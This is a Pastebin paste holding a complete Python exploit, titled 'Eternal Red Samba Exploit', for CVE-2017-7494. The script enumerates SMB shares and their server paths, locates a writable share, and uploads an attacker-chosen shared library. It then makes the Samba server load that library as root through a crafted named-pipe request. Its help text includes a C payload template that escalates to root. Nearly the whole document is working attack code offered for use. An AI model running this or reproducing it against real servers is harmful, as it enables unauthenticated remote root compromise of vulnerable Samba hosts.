Advertisement
Guest User

Untitled

a guest
May 24th, 2017
317
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 21.42 KB | None | 0 0
  1. #! /usr/bin/python
  2.  
  3. import argparse
  4. import os.path
  5. import sys
  6. import tempfile
  7. import time
  8. from smb.SMBConnection import SMBConnection
  9. from smb import smb_structs
  10. from smb.base import _PendingRequest
  11. from smb.smb2_structs import *
  12. from smb.base import *
  13.  
  14.  
  15. class SharedDevice2(SharedDevice):
  16.     def __init__(self, type, name, comments, path, password):
  17.         super().__init__(type, name, comments)
  18.         self.path = path
  19.         self.password = password
  20.  
  21. class SMBConnectionEx(SMBConnection):
  22.     def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False):
  23.         super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp)
  24.  
  25.  
  26.     def hook_listShares(self):
  27.         self._listShares = self.listSharesEx
  28.  
  29.     def hook_retrieveFile(self):
  30.         self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix
  31.  
  32.     # This is mainly the original listShares but request a higher level of info
  33.     def listSharesEx(self, callback, errback, timeout = 30):
  34.         if not self.has_authenticated:
  35.             raise NotReadyError('SMB connection not authenticated')
  36.  
  37.         expiry_time = time.time() + timeout
  38.         path = 'IPC$'
  39.         messages_history = [ ]
  40.  
  41.         def connectSrvSvc(tid):
  42.             m = SMB2Message(SMB2CreateRequest('srvsvc',
  43.                                               file_attributes = 0,
  44.                                               access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
  45.                                               share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
  46.                                               oplock = SMB2_OPLOCK_LEVEL_NONE,
  47.                                               impersonation = SEC_IMPERSONATE,
  48.                                               create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL,
  49.                                               create_disp = FILE_OPEN))
  50.  
  51.             m.tid = tid
  52.             self._sendSMBMessage(m)
  53.             self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback)
  54.             messages_history.append(m)
  55.  
  56.         def connectSrvSvcCB(create_message, **kwargs):
  57.             messages_history.append(create_message)
  58.             if create_message.status == 0:
  59.                 call_id = self._getNextRPCCallID()
  60.                 # The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706]
  61.                 # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
  62.                 data_bytes = \
  63.                     binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + \
  64.                     struct.pack('<I', call_id) + \
  65.                     binascii.unhexlify(b"""
  66. b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00
  67. c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88
  68. 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00
  69. 2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b
  70. 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00
  71. 2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00
  72. 01 00 00 00
  73. """.replace(b' ', b'').replace(b'\n', b''))
  74.                 m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0))
  75.                 m.tid = create_message.tid
  76.                 self._sendSMBMessage(m)
  77.                 self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid)
  78.                 messages_history.append(m)
  79.             else:
  80.                 errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history))
  81.  
  82.         def rpcBindCB(trans_message, **kwargs):
  83.             messages_history.append(trans_message)
  84.             if trans_message.status == 0:
  85.                 m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0))
  86.                 m.tid = trans_message.tid
  87.                 self._sendSMBMessage(m)
  88.                 self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid'])
  89.                 messages_history.append(m)
  90.             else:
  91.                 closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint')
  92.  
  93.         def rpcReadCB(read_message, **kwargs):
  94.             messages_history.append(read_message)
  95.             if read_message.status == 0:
  96.                 call_id = self._getNextRPCCallID()
  97.  
  98.                 padding = b''
  99.                 remote_name = '\\\\' + self.remote_name
  100.                 server_len = len(remote_name) + 1
  101.                 server_bytes_len = server_len * 2
  102.                 if server_len % 2 != 0:
  103.                     padding = b'\0\0'
  104.                     server_bytes_len += 2
  105.  
  106.                 # The data bytes are the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
  107.                 # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
  108.                 data_bytes = \
  109.                     binascii.unhexlify(b"""05 00 00 03 10 00 00 00""".replace(b' ', b'')) + \
  110.                     struct.pack('<HHI', 72+server_bytes_len, 0, call_id) + \
  111.                     binascii.unhexlify(b"""4c 00 00 00 00 00 0f 00 00 00 02 00""".replace(b' ', b'')) + \
  112.                     struct.pack('<III', server_len, 0, server_len) + \
  113.                     (remote_name + '\0').encode('UTF-16LE') + padding + \
  114.                     binascii.unhexlify(b"""
  115. 02 00 00 00 02 00 00 00 04 00 02 00 00 00 00 00
  116. 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00
  117. """.replace(b' ', b'').replace(b'\n', b''))
  118.                 m = SMB2Message(SMB2IoctlRequest(kwargs['fid'], 0x0011C017, flags = 0x01, max_out_size = 8196, in_data = data_bytes))
  119.                 m.tid = read_message.tid
  120.                 self._sendSMBMessage(m)
  121.                 self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
  122.                 messages_history.append(m)
  123.             else:
  124.                 closeFid(read_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to bind to Server Service RPC endpoint')
  125.  
  126.         def listShareResultsCB(result_message, **kwargs):
  127.             messages_history.append(result_message)
  128.             if result_message.status == 0:
  129.                 # The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
  130.                 data_bytes = result_message.payload.out_data
  131.  
  132.                 if data_bytes[3] & 0x02 == 0:
  133.                     sendReadRequest(result_message.tid, kwargs['fid'], data_bytes)
  134.                 else:
  135.                     decodeResults(result_message.tid, kwargs['fid'], data_bytes)
  136.             elif result_message.status == 0x0103:   # STATUS_PENDING
  137.                 self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
  138.             else:
  139.                 closeFid(result_message.tid, kwargs['fid'])
  140.                 errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))
  141.  
  142.         def decodeResults(tid, fid, data_bytes):
  143.             shares_count = struct.unpack('<I', data_bytes[36:40])[0]
  144.             results = [ ]     # A list of SharedDevice2 instances
  145.             offset = 36 + 52  # You need to study the byte stream to understand the meaning of these constants
  146.             for i in range(0, shares_count):
  147.                 results.append(SharedDevice(struct.unpack('<I', data_bytes[offset+4:offset+8])[0], None, None))
  148.                 offset += 12
  149.  
  150.             for i in range(0, shares_count):
  151.                 max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
  152.                 offset += 12
  153.                 results[i].name = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
  154.  
  155.                 if length % 2 != 0:
  156.                     offset += (length * 2 + 2)
  157.                 else:
  158.                     offset += (length * 2)
  159.  
  160.                 max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
  161.                 offset += 12
  162.                 results[i].comments = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
  163.  
  164.                 if length % 2 != 0:
  165.                     offset += (length * 2 + 2)
  166.                 else:
  167.                     offset += (length * 2)
  168.  
  169.                 max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
  170.                 offset += 12
  171.                 results[i].path = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
  172.  
  173.                 if length % 2 != 0:
  174.                     offset += (length * 2 + 2)
  175.                 else:
  176.                     offset += (length * 2)
  177.  
  178.                 max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
  179.                 offset += 12
  180.                 results[i].password = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
  181.  
  182.                 if length % 2 != 0:
  183.                     offset += (length * 2 + 2)
  184.                 else:
  185.                     offset += (length * 2)
  186.  
  187.  
  188.             closeFid(tid, fid)
  189.             callback(results)
  190.  
  191.         def sendReadRequest(tid, fid, data_bytes):
  192.             read_count = min(4280, self.max_read_size)
  193.             m = SMB2Message(SMB2ReadRequest(fid, 0, read_count))
  194.             m.tid = tid
  195.             self._sendSMBMessage(m)
  196.             self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback,
  197.                                                            fid = fid, data_bytes = data_bytes)
  198.  
  199.         def readCB(read_message, **kwargs):
  200.             messages_history.append(read_message)
  201.             if read_message.status == 0:
  202.                 data_len = read_message.payload.data_length
  203.                 data_bytes = read_message.payload.data
  204.  
  205.                 if data_bytes[3] & 0x02 == 0:
  206.                     sendReadRequest(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
  207.                 else:
  208.                     decodeResults(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
  209.             else:
  210.                 closeFid(read_message.tid, kwargs['fid'])
  211.                 errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))
  212.  
  213.         def closeFid(tid, fid, results = None, error = None):
  214.             m = SMB2Message(SMB2CloseRequest(fid))
  215.             m.tid = tid
  216.             self._sendSMBMessage(m)
  217.             self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error)
  218.             messages_history.append(m)
  219.  
  220.         def closeCB(close_message, **kwargs):
  221.             if kwargs['results'] is not None:
  222.                 callback(kwargs['results'])
  223.             elif kwargs['error'] is not None:
  224.                 errback(OperationFailure(kwargs['error'], messages_history))
  225.  
  226.         if path not in self.connected_trees:
  227.             def connectCB(connect_message, **kwargs):
  228.                 messages_history.append(connect_message)
  229.                 if connect_message.status == 0:
  230.                     self.connected_trees[path] = connect_message.tid
  231.                     connectSrvSvc(connect_message.tid)
  232.                 else:
  233.                     errback(OperationFailure('Failed to list shares: Unable to connect to IPC$', messages_history))
  234.  
  235.             m = SMB2Message(SMB2TreeConnectRequest(r'\\%s\%s' % ( self.remote_name.upper(), path )))
  236.             self._sendSMBMessage(m)
  237.             self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path)
  238.             messages_history.append(m)
  239.         else:
  240.             connectSrvSvc(self.connected_trees[path])
  241.  
  242.  
  243.     # Don't convert to Window style path
  244.     def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeout = 30):
  245.         if not self.has_authenticated:
  246.             raise NotReadyError('SMB connection not authenticated')
  247.  
  248.         messages_history = [ ]
  249.  
  250.  
  251.         def sendOpen(tid):
  252.             m = SMBMessage(ComOpenAndxRequest(filename = path,
  253.                                               access_mode = 0x0040,  # Sharing mode: Deny nothing to others
  254.                                               open_mode = 0x0001,    # Failed if file does not exist
  255.                                               search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM,
  256.                                               timeout = timeout * 1000))
  257.             m.tid = tid
  258.             self._sendSMBMessage(m)
  259.             self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback)
  260.             messages_history.append(m)
  261.  
  262.         def openCB(open_message, **kwargs):
  263.             messages_history.append(open_message)
  264.             if not open_message.status.hasError:
  265.                 if max_length == 0:
  266.                     closeFid(open_message.tid, open_message.payload.fid)
  267.                     callback(( file_obj, open_message.payload.file_attributes, 0 ))
  268.                 else:
  269.                     sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, 0, max_length)
  270.             else:
  271.                 errback(OperationFailure('Failed to retrieve %s on %s: Unable to open file' % ( path, service_name ), messages_history))
  272.  
  273.         def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len):
  274.             read_count = self.max_raw_size - 2
  275.             m = SMBMessage(ComReadAndxRequest(fid = fid,
  276.                                               offset = offset,
  277.                                               max_return_bytes_count = read_count,
  278.                                               min_return_bytes_count = min(0xFFFF, read_count)))
  279.             m.tid = tid
  280.             self._sendSMBMessage(m)
  281.             self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset, file_attributes = file_attributes,
  282.                                                            read_len = read_len, remaining_len = remaining_len)
  283.  
  284.         def readCB(read_message, **kwargs):
  285.             # To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history.
  286.             if not read_message.status.hasError:
  287.                 read_len = kwargs['read_len']
  288.                 remaining_len = kwargs['remaining_len']
  289.                 data_len = read_message.payload.data_length
  290.                 if max_length > 0:
  291.                     if data_len > remaining_len:
  292.                         file_obj.write(read_message.payload.data[:remaining_len])
  293.                         read_len += remaining_len
  294.                         remaining_len = 0
  295.                     else:
  296.                         file_obj.write(read_message.payload.data)
  297.                         remaining_len -= data_len
  298.                         read_len += data_len
  299.                 else:
  300.                     file_obj.write(read_message.payload.data)
  301.                     read_len += data_len
  302.  
  303.                 if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2):
  304.                     closeFid(read_message.tid, kwargs['fid'])
  305.                     callback(( file_obj, kwargs['file_attributes'], read_len ))  # Note that this is a tuple of 3-elements
  306.                 else:
  307.                     sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len)
  308.             else:
  309.                 messages_history.append(read_message)
  310.                 closeFid(read_message.tid, kwargs['fid'])
  311.                 errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history))
  312.  
  313.         def closeFid(tid, fid):
  314.             m = SMBMessage(ComCloseRequest(fid))
  315.             m.tid = tid
  316.             self._sendSMBMessage(m)
  317.             messages_history.append(m)
  318.  
  319.         if service_name not in self.connected_trees:
  320.             def connectCB(connect_message, **kwargs):
  321.                 messages_history.append(connect_message)
  322.                 if not connect_message.status.hasError:
  323.                     self.connected_trees[service_name] = connect_message.tid
  324.                     sendOpen(connect_message.tid)
  325.                 else:
  326.                     errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_history))
  327.  
  328.             m = SMBMessage(ComTreeConnectAndxRequest(r'\\%s\%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, ''))
  329.             self._sendSMBMessage(m)
  330.             self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name)
  331.             messages_history.append(m)
  332.         else:
  333.             sendOpen(self.connected_trees[service_name])
  334.  
  335. def get_connection(user, password, server, port, force_smb1=False):
  336.     if force_smb1:
  337.         smb_structs.SUPPORT_SMB2 = False
  338.  
  339.     conn = SMBConnectionEx(user, password, "", "server")
  340.     assert conn.connect(server, port)
  341.     return conn
  342.  
  343. def get_share_info(conn):
  344.     conn.hook_listShares()
  345.     return conn.listShares()
  346.  
  347. def find_writeable_share(conn, shares):
  348.     print("[+] Searching for writable share")
  349.     filename = "red"
  350.     test_file = tempfile.TemporaryFile()
  351.     for share in shares:
  352.         try:
  353.             # If it's not writeable this will throw
  354.             conn.storeFile(share.name, filename, test_file)
  355.             conn.deleteFiles(share.name, filename)
  356.             print("[+] Found writeable share: " + share.name)
  357.             return share
  358.         except:
  359.             pass
  360.  
  361.     return None
  362.  
  363. def write_payload(conn, share, payload, payload_name):
  364.     with open(payload, "rb") as fin:
  365.         conn.storeFile(share.name, payload_name, fin)
  366.  
  367.     return True
  368.  
  369. def convert_share_path(share):
  370.     path = share.path[2:]
  371.     path = path.replace("\\", "/")
  372.     return path
  373.  
  374. def load_payload(user, password, server, port, fullpath):
  375.     conn = get_connection(user, password, server, port, force_smb1 = True)
  376.     conn.hook_retrieveFile()
  377.  
  378.     print("[+] Attempting to load payload")
  379.     temp_file = tempfile.TemporaryFile()
  380.  
  381.     try:
  382.         conn.retrieveFile("IPC$", "\\\\PIPE\\" + fullpath, temp_file)
  383.     except:
  384.         pass
  385.  
  386.     return
  387.  
  388. def drop_payload(user, password, server, port, payload):
  389.     payload_name = "charizard"
  390.  
  391.     conn = get_connection(user, password, server, port)
  392.     shares = get_share_info(conn)
  393.     share = find_writeable_share(conn, shares)
  394.  
  395.     if share is None:
  396.         print("[!] No writeable shares on " + server + " for user: " + user)
  397.         sys.exit(-1)
  398.  
  399.     if not write_payload(conn, share, payload, payload_name):
  400.         print("[!] Failed to write payload: " + str(payload) + " to server")
  401.         sys.exit(-1)
  402.  
  403.     conn.close()
  404.  
  405.     fullpath = convert_share_path(share)
  406.     return os.path.join(fullpath, payload_name)
  407.  
  408.  
  409. def main():
  410.     parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,
  411.     description= """Eternal Red Samba Exploit -- CVE-2017-7494
  412.        Causes vulnerable Samba server to load a shared library in root context
  413.        Credentials are not required if the server has a guest account
  414.        For remote exploit you must have write permissions to at least one share
  415.        Eternal Red will scan the Samba server for shares it can write to
  416.        It will also determine the fullpath of the remote share
  417.  
  418.        For local exploit provide the full path to your shared library to load
  419.  
  420.        Your shared library should look something like this
  421.  
  422.        extern bool change_to_root_user(void);
  423.        int samba_init_module(void)
  424.        {
  425.            change_to_root_user();
  426.            /* Do what thou wilt */
  427.        }
  428.    """)
  429.     parser.add_argument("payload", help="path to shared library to load", type=str)
  430.     parser.add_argument("server", help="Server to target", type=str)
  431.     parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int)
  432.     parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str)
  433.     parser.add_argument("--password", help="Password for user default is empty", type=str)
  434.     parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool)
  435.     args = parser.parse_args()
  436.  
  437.     if not os.path.isfile(args.payload):
  438.         print("[!] Unable to open: " + args.payload)
  439.         sys.exit(-1)
  440.  
  441.     port = 445
  442.     user = "nobody"
  443.     password = ""
  444.     fullpath = ""
  445.  
  446.     if args.port:
  447.         port = args.port
  448.     if args.username:
  449.         user = args.username
  450.     if args.password:
  451.         password = args.password
  452.  
  453.     if args.local:
  454.         fullpath = args.payload
  455.     else:
  456.         fullpath = drop_payload(user, password, args.server, port, args.payload)
  457.  
  458.     load_payload(user, password, args.server, port, fullpath)
  459.  
  460. if __name__ == "__main__":
  461.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement